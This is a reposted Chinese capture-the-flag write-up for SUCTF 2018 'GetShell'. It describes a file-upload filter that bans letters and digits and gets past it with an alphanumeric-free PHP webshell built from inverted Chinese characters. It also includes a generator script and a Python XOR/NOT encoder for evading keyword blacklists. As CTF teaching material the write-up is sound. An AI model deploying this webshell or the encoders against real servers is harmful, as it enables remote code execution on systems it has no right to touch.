[SUCTF 2018]GetShell 1

news/2024/9/20 8:43:31/文章来源:https://www.cnblogs.com/z2gh/p/18302990

自增绕过,文件上传


打开是一个白的页面,开始信息收集,可以在前端代码中看到,index.php?act=upload

尝试访问之后发现是文件上传

发现是直接给了源码的,代码解释:
这段PHP代码用于处理一个通过HTML表单上传的文件,并检查该文件的内容是否包含任何黑名单中的字符。下面是逐行解释:
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
这一行使用file_get_contents()函数读取从表单上传的临时文件的内容。$_FILES["file"]["tmp_name"]是PHP预定义的全局变量,存储了上传文件的临时路径。如果成功读取文件,其内容将被存储在$contents变量中,然后执行后续代码;如果读取失败,if语句将不执行任何操作。
$data=substr($contents,5);
从$contents字符串的第6个字符开始截取数据,即忽略前5个字符。这可能是因为文件的前5个字符被认为是元数据或不需要检查的部分。
foreach ($black_char as $b) {
遍历$black_char数组中的每个元素,$black_char应该是一个包含黑名单字符的数组。
if (stripos($data, $b) !== false){
对于$data中的每一项黑名单字符$b,使用stripos()函数查找它在$data中的位置。stripos()函数不区分大小写地搜索字符串,如果找到$b,函数将返回非false值,表示找到了匹配项。
die("illegal char");
如果在$data中找到了黑名单字符,程序将终止执行并输出"illegal char",表示有非法字符存在。
}
结束if语句。
}
结束foreach循环。
呢么我们可以先尝试上传一个空文件,去看一下它是什么类型的题目

发现是直接存储为php文件了呢么这个题就清晰很多了,也就是我们要传入木马上去,经过测试,他题目是把数字和字母还有?>给ban掉的,但是?>可有可无
也就是说我们只要就<?php就可以正常解析和运行代码。
我使用的是取反中文字符串绕过,详细可以看p神的blog:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

<?php
$_=[];
$__=($_==$_);
$_=~(瞰);
$___=$_[$__];
$_=~(北);
$___.=$_[$__];
$_=~(北);
$___.=$_[$__];
$_=~(的);
$___.=$_[$__];
$_=~(南);
$___.=$_[$__];
$_=~(择);
$___.=$_[$__];
$____=~(~(_));
$_=~(说);
$____.=$_[$__];
$_=~(小);
$____.=$_[$__];
$_=~(笔);
$____.=$_[$__];
$_=~(站);
$____.=$_[$__];
$_=$$____;
$___($_[_]);

中文脚本

<?phpheader('Content-Type: text/html; charset=utf-8');//防止页面出现乱码
$str = '当我站在山顶上俯瞰半个鼓浪屿和整个厦门的夜空的时候,我知道此次出行的目的已经完成了,我要开始收拾行李,明天早上离开这里。前几天有人问我,大学四年结束了,你也不说点什么?乌云发生了一些事情,所有人都缄默不言,你也是一样吗?你逃到南方,难道不回家了吗?当然要回家,我只是想找到我要找的答案。其实这次出来一趟很累,晚上几乎是热汗淋漓回到住处,厦门的海风伴着妮妲路过后带来的淅淅沥沥的小雨,也去不走我身上任何一个毛孔里的热气。好在旅社的生活用品一应俱全,洗完澡后我爬到屋顶。旅社是一个老别墅,说起来也不算老,比起隔壁一家旧中国时期的房子要豪华得多,竖立在笔山顶上与厦门岛隔海相望。站在屋顶向下看,灯火阑珊的鼓浪屿街市参杂在绿树与楼宇间,依稀还可以看到熙熙攘攘的游客。大概是夜晚渐深的缘故,周围慢慢变得宁静下来,我忘记白天在奔波什么,直到站在这里的时候,我才知道我寻找的答案并不在南方。当然也不在北方,北京的很多东西让我非常丧气,包括自掘坟墓的中介和颐指气使的大人们;北京也有很多东西让我喜欢,我喜欢颐和园古色古香的玉澜堂,我喜欢朝阳门那块“永延帝祚”的牌坊,喜欢北京鳞次栉比的老宅子和南锣鼓巷的小吃。但这些都不是我要的答案,我也不知道我追随的是什么,但想想百年后留下的又是什么,想想就很可怕。我曾经为了吃一碗臭豆腐,坐着优步从上地到北海北,兴冲冲地来到那个垂涎已久的豆腐摊前,用急切又害羞的口吻对老板说,来两份量的臭豆腐。其实也只要10块钱,吃完以后便是无与伦比的满足感。我记得那是毕业设计审核前夕的一个午后,五月的北京还不算炎热,和煦的阳光顺着路边老房子的屋檐洒向大地,但我还是不敢站在阳光下,春天的燥热难耐也绝不输给夏天。就像很多人冷嘲热讽的那样,做这一行谁敢把自己完全曝光,甭管你是黑帽子白帽子还是绿帽子。生活在那个时候还算美好,我依旧是一个学生,几天前辞别的同伴还在朝九晚五的工作,一切都照旧运行,波澜不远走千里吃豆腐这种理想主义的事情这几年在我身上屡屡发生,甚至南下此行也不例外。一年前的这个时候我许过一个心愿,在南普陀,我特为此来还愿。理想化、单纯与恋旧,其中单纯可不是一个多么令人称赞的形容,很多人把他和傻挂钩。“你太单纯了,你还想着这一切会好起来”,对呀,在男欢女爱那些事情上,我可不单纯,但有些能让人变得圆滑与世故的抉择中,我宁愿想的更单纯一些。去年冬天孤身一人来到北京,放弃了在腾讯做一个安逸的实习生的机会,原因有很多也很难说。在腾讯短暂的实习生活让我记忆犹新,我感觉这辈子不会再像一个小孩一样被所有人宠了,这些当我选择北漂的时候应该就要想到的。北京的冬天刺骨的寒冷,特别是2015年的腊月,有几天连续下着暴雪,路上的积雪一踩半步深,咯吱咯吱响,周遭却静的像深山里的古刹。我住的小区离公司有一段距离,才下雪的那天我甚至还走着回家。北京的冬天最可怕的是寒风,走到家里耳朵已经硬邦邦好像一碰就会碎,在我一头扎进被窝里的时候,我却慢慢喜欢上这个古都了。我想到《雍正皇帝》里胤禛在北京的鹅毛大雪里放出十三爷,那个拼命十三郎带着令牌取下丰台大营的兵权,保了大清江山盛世的延续与稳固。那一夜,北京的漫天大雪绝不逊于今日,而昔人已作古,来者尚不能及,多么悲哀。这个古都承载着太多历史的厚重感,特别是下雪的季节,我可以想到乾清宫前广场上千百年寂寞的雕龙与铜龟,屋檐上的积雪,高高在上的鸱吻,想到数百年的沧桑与朝代更迭。雪停的那天我去了颐和园,我记得我等了很久才摇摇摆摆来了一辆公交车,车上几乎没有人,司机小心翼翼地转动着方向盘,在湿滑的道路上缓慢前行。窗外白茫茫一片,阳光照在雪地上有些刺眼,我才低下头。颐和园的学生票甚至比地铁票还便宜。在昆明湖畔眺望湖面,微微泛着夕阳霞光的湖水尚未结冰,踩着那些可能被御碾轧过的土地,滑了无数跤,最后只能扶着湖边的石狮子叹气,为什么没穿防滑的鞋子。昆明湖这一汪清水,见证了光绪皇帝被囚禁十载的蹉跎岁月,见证了静安先生誓为先朝而自溺,也见证了共和国以来固守与开放的交叠。说起来,家里有本卫琪著的《人间词话典评》,本想买来瞻仰一下王静安的这篇古典美学巨著,没想到全书多是以批判为主。我自诩想当文人的黑客,其实也只是嘴里说说,真到评说文章是非的时候,我却张口无词。倒是誓死不去发,这点确实让我无限感慨:中国士大夫的骨气,真的是从屈原投水的那一刻就奠定下来的。有句话说,古往今来中国三大天才死于水,其一屈原,其二李白,其三王国维。卫琪对此话颇有不服,不纠结王国维是否能够与前二者相提并论,我单喜欢他的直白,能畅快评说古今词话的人,也许无出其右了吧。人言可畏、人言可畏,越到现代越会深深感觉到这句话的正确,看到很多事情的发展往往被舆论所左右,就越羡慕那些无所畏惧的人,不论他们是勇敢还是自负。此间人王垠算一个,网络上人们对他毁誉参半,但确实有本事而又不矫揉做作,放胆直言心比天高的只有他一个了。那天在昆明湖畔看过夕阳,直到天空变的无比深邃,我才慢慢往家的方向走。耳机放着后弦的《昆明湖》,不知不觉已经十年了,不知道这时候他有没有回首望望自己的九公主和安娜,是否还能够“泼墨造一匹快马,追回十年前姑娘”。后来,感觉一切都步入正轨,学位证也顺利拿到,我匆匆告别了自己的大学。后来也遇到了很多事,事后有人找我,很多人关心你,少数人可能不是,但出了学校以后,又有多少人和事情完全没有目的呢?我也考虑了很多去处,但一直没有决断,倒有念怀旧主,也有妄自菲薄之意,我希望自己能做出点成绩再去谈其他的,所以很久都是闭门不出,琢磨东西。来到厦门,我还了一个愿,又许了新的愿望,希望我还会再次来还愿。我又来到了上次没住够的鼓浪屿,订了一间安静的房子,只有我一个人。在这里,能听到的只有远处屋檐下鸟儿叽叽喳喳的鸣叫声,远处的喧嚣早已烟消云散,即使这只是暂时的。站在屋顶的我,喝下杯中最后一口水。清晨,背着行李,我乘轮渡离开了鼓浪屿,这是我第二次来鼓浪屿,谁知道会不会是最后一次。我在这里住了三天,用三天去寻找了一个答案。不知不觉我又想到辜鸿铭与沈子培的那段对话。“大难临头,何以为之?”“世受国恩,死生系之。”';
$payload = "$_POST[1]";
$result = "";
$num = 0;
for ($i = 0; $i < mb_strlen($str, 'utf-8'); $i++) {$st = mb_substr($str, $i, 1, 'utf-8');//每次取一个$a = ~($st);$b = $a[1];//汉字的第一位if ($b == $payload[$num] && $num != strlen($payload)) {$num++;$result .= $st;}if ($num === strlen($payload)) {break;}
}
echo $result;

一个实用的异或脚本

#blacklist列表中的字符在生成的拼接字符串中不会被使用,除了部分是被过滤掉的字符,其余的如',"等字符考虑可能会导致闭合等问题暂列入
#如果有其他的要求可以对blacklist列表进行删改
blacklist=["`","'",'"',"\\""0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"]
#不同于取反,一个目标字符串使用异或的方式可以获大量的可用拼接字符串,这里只取了1种组合的拼接字符串
#如果需要获得更多拼接字符串查看该函数中的result列表
def yiHuo(string):global operationEffientglobal blacklistoperationEffient=Falseresult=[]finalstr='""^""'rawstr=stringfor i in range(0,len(rawstr)):result.extend([[]])for k in range(0,len(rawstr)):for i in range(32,255):if(chr(i) not in blacklist):for j in range(32,255):if(chr(j) not in blacklist):if(i^j==ord(rawstr[k])):result[k].extend([[hex(i).replace('0x',"%"),hex(j).replace('0x',"%")]])#在这里往下的函数部分,result列表均是可用的(已填充了获得的拼接字符串)for i in range(0,len(result)):if(len(result[i])==0):return("该字符在现有黑名单下无法拼接出->%s"%(rawstr[i]))for i in range(0,len(rawstr)):finalstr=finalstr[:finalstr.find("^",0)-1]+result[i][0][0]+'"'+finalstr[finalstr.find("^",0):]finalstr=finalstr[:finalstr.rfind("'",0)]+result[i][0][1]+finalstr[finalstr.rfind('"',0):]   return(finalstr)
def quFan(string):global operationEffientglobal blacklistoperationEffient=Falseresult=[]finalstr='~""'rawstr=stringfor i in range(0,len(rawstr)):result.extend([[]])for k in range(0,len(rawstr)):for i in range(32,255):if(chr(i) not in blacklist and chr(int(bin(~i & 0xFF)[2:],2))==rawstr[k]):result[k].extend([hex(i).replace('0x',"%")])for i in range(0,len(result)):if(len(result[i])==0):return("该字符在现有黑名单下无法拼接出->%s"%(rawstr[i]))print(result)for i in range(0,len(rawstr)):finalstr=finalstr[:finalstr.rfind('"',0)]+result[i][0]+finalstr[finalstr.rfind('"',0):]return(finalstr)
while(True):operationEffient=Truetarget=input("请输入待转换字符\n")while(operationEffient):operation=input("请选择操作\n1->使用异或拼接\n2->使用取反获得\n")if(operation=="1"):result=yiHuo(target)passelif(operation=="2"):result=quFan(target)passelse:print("选择的操作无效")continueprint(result)

上传我们的payload

发现这里是假的,最终在env环境变量里面找到了flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/744071.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

运算式树(Expression tree)深入学习

前言 运算式树(Expression tree)是二叉树数据结构。 目的是实现方便的叠加各种查询条件,无限制的拼接成一个查询条件。提高复杂查询逻辑的编码效率。 一、Lambda表达式 Lambda表达式分为运算式Lambda和语句式Lambda 下面用两种lambda实现同样功能的委托。 (1)运算式Lambda…

htmlToPdf处理视频

一个写好的html页面要打印pdf,其中有视频也有图片。参考了网上的一些方法,最终是在获取数据的时候,对视频进行了截取第一帧处理。 getFirstImgBase64(){this.piclist.forEach(item => {if(item.url.endsWith(.mp4)) {let dataURL = ""let video = document.cre…

my-tv修复版本

github上很火的项目,但是作者已不再维护,这里分享一个修复版本,可以正常观看 软件链接:https://pan.quark.cn/s/836a5050fcab

提升Camstar性能

😘宝子:除非不再醒来,除非太阳不再升起,不然都请你好好生活,挣扎着前进,开心的笑。(●◡●)

K8S教程:如何使用Kubeadm命令在PetaExpress Ubuntu系统上安装Kubernetes集群

Kubernetes,通常缩写为K8s,是一个开源的容器编排平台,旨在自动化容器化应用的部署、扩展和管理。有了Kubernetes,您可以轻松地部署、更新和扩展应用,而无需担心底层基础设施。一个Kubernetes集群由控制平面节点(master节点)和工作节点(worker节点)组成。确保集群的高效运行…

Panda数据处理

一、 Pandas简介 Pandas,python+data+analysis的组合缩写,是python中基于numpy和matplotlib第三方数据分析库,与后者共同构成python数据分析基础工具包,享有数据三剑客之名。正因为pandas是在numpy基础上实现的,其核心数据结构与numpy的ndarray十分相似,但pandas与numpy的…

1.基础知识

单片机:Single-Chip Microcomputer,单片微型计算机,是一种集成电路芯片 CPU:CPU内存:SRAM硬盘:FLASH主板:外设 仪器仪表:电源/示波器/焊台家用电器:空调/冰箱/洗衣机工业控制:机器人/PLC/电梯汽车电子:GPS/ABS/胎压监测 :数据与程序储存在同一存储器,分时复用Core…

线程池遇到父子任务,有大坑,要注意!

你好呀,我是歪歪。 最近在使用线程池的时候踩了一个坑,给你分享一下。 在实际业务场景下,涉及到业务代码和不同的微服务,导致问题有点难以定位,但是最终分析出原因之后,发现可以用一个很简单的例子来演示。 所以歪师傅这次先用 Demo 说问题,再说场景,方便吸收。Demo 老…

线性规划模型复习总结

线性规划(Linear Programming, LP)是一种数学优化方法,用于在给定约束条件下最大化或最小化目标函数。线性规划广泛应用于经济、工程、管理等领域,通过建立数学模型,帮助决策者找到最优解决方案。 一、线性规划数学模型 1.1 模型三要素目标函数(Objective Function) 目标…

nginx ./nginx -s reload 工作进程pid与实际不一致导致平滑重启报错

某次修改nginx配置后使用 ./nginx -s reload 重启nginx, 结果报错, 如图所示, 去kill工作进程的时候显示找不到该进程原因是位于nginx/logs下的 nginx.pid 中的pid和实际不一致造成的 nginx.pid 文件是 Nginx web 服务器在启动时创建的一个进程标识符 (PID) 文件。这个文件包含…

第七天学习笔记(经验测试,白盒测试)

经验测试法 错误推测法 基于经验的测试技术之错误推测法 错误推测法也叫错误猜测法,就是根据经验猜想,已有的缺陷,测试经验和失败数据等可能有什么问题并依此设计测试用例.异常分析法 基于经验的测试技术之异常分析法 系统异常分析法就是针对系统有可能存在的异常操作、软硬…